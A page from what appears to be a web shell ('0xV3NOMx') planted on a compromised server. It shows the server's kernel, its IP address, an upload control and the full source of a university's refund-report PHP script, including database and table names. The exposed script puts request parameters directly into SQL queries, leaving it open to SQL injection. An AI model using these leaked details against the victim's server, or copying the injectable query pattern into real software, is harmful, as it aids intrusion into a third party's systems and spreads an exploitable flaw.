0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.219.248.129


Current Path : /var/www/html/univadmin/Reports/
Upload File :
Current File : /var/www/html/univadmin/Reports/refundApplications.php

w<?php

$main_src = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - 7);
$pdf_writer_class = $main_src . "tcpdf/tcpdf.php";
require_once $pdf_writer_class;
ini_set('max_execution_time', 600);
ini_set("memory_limit",'2048M');

class MYPDF extends TCPDF
{

    public function Header()
    {
        // get the current page break margin
        $bMargin = $this->getBreakMargin();
        // get current auto-page-break mode
        $auto_page_break = $this->AutoPageBreak;
        // disable auto-page-break
        $this->SetAutoPageBreak(false, 0);
        $this->SetTitle("Refund Applications Report");

        // set bacground image
        $this->SetFillColor(248, 248, 255);
        $img_path = $this->aobj_context->main_src . "/img/".$this->aobj_context->FUNIVCODE."_logo.jpg";

        if (file_exists($img_path)) {
            $this->Image($img_path, 6, 6, 20, 20);
        }

        $this->SetFont('Times', 'B', 13);
        $this->SetY(5);
        $this->Cell(0, 4, $this->aobj_context->FUNIVNAME, 0, 1, 'C');
        //state
        $this->SetFont('Times', '', 11);
        $this->Cell(0, 4, $this->aobj_context->s_state, 0, 1, 'C');

        $this->SetFont('Times', 'BU', 12);
        $this->Ln(1);

        $cur_year = date("Y");
        $this->Cell(0, 5, 'Refund Applications', '0', 1, 'C');
        $this->SetFont('Times', 'B', 10);

        // $this->Cell(0, 5, 'College Range : ' . $this->aobj_context->mobj_data['cntr_from'].' - '.$this->aobj_context->mobj_data['cntr_end'], '0', 1, 'C');
        // $this->Cell(0, 5, 'Degree Range : ' . $this->aobj_context->mobj_data['degree_from'].' - '.$this->aobj_context->mobj_data['degree_to'], '0', 1, 'C');
        // $this->Cell(0, 5, 'Degree Group : ' . $this->aobj_context->mobj_data['Degree'], '0', 1, 'C');
        
        // restore auto-page-break status
        $this->SetAutoPageBreak($auto_page_break, $bMargin);
        // set the starting point for the page content
    }

    public function Footer()
    {
        $this->SetY(-15);
        $this->SetFont('helvetica', 'I', 8);
        // var_dump();
        if($this->CurOrientation == 'P')
        {
            $this->Cell(60, 10, 'IP : ' . $_SERVER["REMOTE_ADDR"], 0, 0, 'L');
            $this->Cell(60, 10, 'Date : ' . date("d-m-Y h:i:s A"), 0, 0, 'C');
            $this->Cell(60, 10, 'Page ' . $this->getPageNumGroupAlias() . '/' . $this->getPageGroupAlias(), 0, 1, 'R');
        }
        else {
            $this->Cell(90, 10, 'IP : ' . $_SERVER["REMOTE_ADDR"], 0, 0, 'L');
            $this->Cell(90, 10, 'Date : ' . date("d-m-Y h:i:s A"), 0, 0, 'C');
            $this->Cell(90, 10, 'Page ' . $this->getPageNumGroupAlias() . '/' . $this->getPageGroupAlias(), 0, 1, 'R');
        }
    }
}

class Report{

  public function DefaultConstructor($aobj_context)
  {
    $this->aobj_context = $aobj_context;
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

    $this->ip = $_SERVER["REMOTE_ADDR"];
    $get_date = "select DATE_FORMAT(now(), '%d/%m/%Y') as now_date";
    $obj = $this->aobj_context->mobj_db->GetRow($get_date);
    $this->reportType = $aobj_context->mobj_data["rtype"];

    $get_coll_name = "select FUNIVNAME as 'FUNIVNAME',FUNIVCODE,
    FUNIVADD1 as 'state', pdf_logo_path,
    ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ From control";
    $lobj_get_coll_name = $this->aobj_context->pobj_db->GetRow($get_coll_name);
    // var_dump($get_coll_name);
    $aobj_context->FUNIVNAME = $lobj_get_coll_name['FUNIVNAME'];
    $aobj_context->s_state = $lobj_get_coll_name['state'];
    $aobj_context->pdf_logo_path = $lobj_get_coll_name['pdf_logo_path'];
    $aobj_context->FUNIVCODE = $lobj_get_coll_name['FUNIVCODE'];

    $this->current_date = $obj['now_date'];
    $deggrp = $this->aobj_context->mobj_data["degree"];

    $get_coll_name = "select concat(fdeggrp, ' - ', fdescpn) as fdeggrp 
    from deggrp where fdeggrp = '{$deggrp}'";
    $lobj_get_degree = $this->aobj_context->pobj_db->GetRow($get_coll_name);
    
    $aobj_context->deggrp = $lobj_get_degree['fdeggrp'];
    $this->pdf = new MYPDF('L');
    $this->pdf->aobj_context = $aobj_context;    
  }

  public function TblHeader($pdf)
  {
    $pdf->SetFont('Times', 'B', 10);
    $pdf->Cell(10, 6, "Sl.", "LRT", 0, "C");
    $pdf->Cell(25, 6, "App.", "LRT", 0, "C");
    $pdf->Cell(12, 6, "Col.", "LRT", 0, "C");
    $pdf->Cell(60, 6, "College Name", "LRT", 0, "C");
    $pdf->Cell(17, 6, "Degree", "LRT", 0, "C");
    $pdf->Cell(19, 6, "Register", "LRT", 0, "C");
    // $pdf->Cell(50, 6, "Student Name", "LRT", 0, "C");
    $pdf->Cell(20, 6, "Application", "LRT", 0, "C");
    $pdf->Cell(20, 6, "Refund", "LRT", 0, "C");
    $pdf->Cell(15, 6, "Amount", "LRT", 1, "C");
    // $pdf->Cell(15, 6, "Total", "LRT", 1, "C");
    

    $pdf->Cell(10, 6, "No.", "LRB", 0, "C");
    $pdf->Cell(25, 6, "No.", "LRB", 0, "C");
    $pdf->Cell(12, 6, "Code", "LRB", 0, "C");
    $pdf->Cell(60, 6, "", "LRB", 0, "C");
    $pdf->Cell(17, 6, "Code", "LRB", 0, "C");
    $pdf->Cell(19, 6, "No.", "LRB", 0, "C");
    // $pdf->Cell(50, 6, "", "LRB", 0, "C");
    $pdf->Cell(20, 6, "Type", "LRB", 0, "C");      
    $pdf->Cell(20, 6, "Applied On", "LRB", 0, "C");  
    $pdf->Cell(15, 6, "", "LRB", 1, "C");    
    // $pdf->Cell(15, 6, "Amt.", "LRB", 1, "C");      
    $pdf->SetFont('Times', '', 10);

  }


  public function writeReport($data){
    $pdf = $this->pdf;
    
    $pdf->SetMargins(6, 40);
    $pdf->startPageGroup();
    $pdf->AddPage("P");
    $sl_no = 1;
    $pdf->SetFont('Times', '', 10);
    $this->TblHeader($pdf);

    
    foreach ($data as $key => $value) {

      $x = $pdf->GetX();
      $y = $pdf->GetY();

      $pdf->SetX($x + 47);
      $pdf->MultiCell(60, 6, $value['fcollname'], "T", "L");
      $y1 = $pdf->GetY();
      $h = $y1 - $y;    
      $pdf->SetXY($x, $y);

      // $pdf->SetX($x + 200);
      // $pdf->MultiCell(60, $h, $value['head'], 1, "L");
      // $y1 = $pdf->GetY();
      // $h = $y1 - $y;    
      // $pdf->SetXY($x, $y);

      $pdf->Cell(10, $h,$sl_no, "1", 0, "C");
      $pdf->Cell(25, $h,$value['fappno'], "1", 0, "C");
      $pdf->Cell(12, $h,$value['fcollcode'], "1", 0, "C");
      // $pdf->Cell(40, $h, $value['fcollname'], "1", 0, "L");
      $pdf->SetXY($x+107, $y);
      $pdf->Cell(17, $h, $value['fdegree'], "1", 0, "C");
      $pdf->Cell(19, $h, $value['fregno'], "1", 0, "C");
      // $pdf->Cell(50, $h, ucwords($value['fname']), "1", 0, "L"); 
      $pdf->Cell(20, $h, $value['fapptype'], "1", 0, "C");
      $pdf->Cell(20, $h, $value['frappdate'], "1", 0, "C");     
      // $pdf->Cell(17, $h, $value['famount'], "1", 0, "C");     

      // $pdf->SetXY($x+260, $y);
      $pdf->Cell(15, $h, moneyFormatIndia((int)$value['famount']), "1", 1, "C");
  
      $sl_no++;
      if ($pdf->getY() > 170) {
        $pdf->Cell(193,0,"","T",1);
        $pdf->AddPage("P");
        $this->TblHeader($pdf);
      }
    }
    $pdf->Cell(193,0,"","T",1);
  }
  public function SendOutput()
  {
      // ob_end_clean();
      $this->pdf->Output("RefundReport.pdf", "I");
  }
}

// fregnofrm=0&fregnoto=ZZZZZZZZ&fappfrom=0&fappto=ZZZZZZZZZZZ&fstatus=Applied&univcode=041

function getRefundApplicationReport($aobj_context)
{
  $univcode = $aobj_context->mobj_data["univcode"];  
  
  $fdegfrm = $aobj_context->mobj_data["fdegfrom"];     
  $fdegto = $aobj_context->mobj_data["fdegto"];  
  $fregfrm = $aobj_context->mobj_data["fregnofrm"];  
  $fregto = $aobj_context->mobj_data["fregnoto"];  
  $fcollfrm = $aobj_context->mobj_data["collfrm"];  
  $fcollto = $aobj_context->mobj_data["collto"];  
  $fappfrm = $aobj_context->mobj_data["fappfrm"];  
  $fappto = $aobj_context->mobj_data["fappto"]; 
  $fstatus = $aobj_context->mobj_data["fstatus"];
  $app_type = $aobj_context->mobj_data["apptype"];


  $query = "select a.fappid,a.fdegree,d.fdescpn,a.fcollcode,c.fcollname,fregno,fapptype,fappno,date_format(fappdate,' %d/%m/%Y') as fappdate,
  date_format(frappdate,' %d/%m/%Y') as frappdate, famount,fstatus, ifnull(fremarks,'') as fremarks,
  ifnull(fsubcode,'') as fsubcode 
  from logisys3_bcu.apprefund  a
  inner join logisys3_bcu.college c on c.fcollcode=a.fcollcode 
  inner join logisys3_bcu.degree d on d.fdegree=a.fdegree
  where fapptype = '{$app_type}' and a.fdegree between '{$fdegfrm}' and '{$fdegto}' and a.fcollcode between '{$fcollfrm}' and '{$fcollto}' and fregno between  '{$fregfrm}' and '{$fregto}' and fappno between '{$fappfrm}' and '{$fappto}' and fstatus = '{$fstatus}'
  group by fappno";


//  var_dump($query);
  $result = $aobj_context->pobj_db->GetAll($query);
  
//  var_dump($result);
//   die();
  
  $class_obj = new Report();
  $class_obj->univcode=$univcode;
  $class_obj->DefaultConstructor($aobj_context);
  
  if(count($result)>0)
    $class_obj->writeReport($result);
  
  $class_obj->SendOutput();


}


function moneyFormatIndia($num)
{
    $explrestunits = "";
    if (strlen($num) > 3) {
        $lastthree = substr($num, strlen($num) - 3, strlen($num));
        $restunits = substr($num, 0, strlen($num) - 3); // extracts the last three digits
        $restunits = (strlen($restunits) % 2 == 1) ? "0" . $restunits : $restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping.
        $expunit = str_split($restunits, 2);
        for ($i = 0; $i < sizeof($expunit); $i++) {
            // creates each of the 2's group and adds a comma to the end
            if ($i == 0) {
                $explrestunits .= (int)$expunit[$i] . ","; // if is first value , convert into integer
            } else {
                $explrestunits .= $expunit[$i] . ",";
            }
        }
        $thecash = $explrestunits . $lastthree;
    } else {
        $thecash = $num;
    }
    return $thecash; // writes the final format where $currency is the currency symbol.
}

?>